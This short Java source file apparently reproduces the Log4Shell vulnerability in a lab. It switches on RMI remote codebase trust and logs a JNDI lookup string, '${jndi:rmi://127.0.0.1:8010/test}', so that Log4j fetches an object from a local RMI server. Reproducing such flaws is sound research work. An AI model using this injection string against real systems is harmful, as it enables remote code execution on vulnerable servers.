package com.example.common.demo;

import com.sun.imageio.plugins.common.ImageUtil;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
 
public class Log4jDemo {
    private static final Logger LOGGER = LogManager.getLogger();
 
    public Log4jDemo() {
    }
 
    public static void main(String[] args) {
            
        //jdk1.8 默认关闭了这个配置
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        try {
            String name = "${jndi:rmi://127.0.0.1:8010/test}";
            String os = "${java:os}";
            LOGGER.info("执行 {}", "java:version");
            LOGGER.info("Hello test,{}", name);
        } catch (Exception var3) {
        }
 
    }
}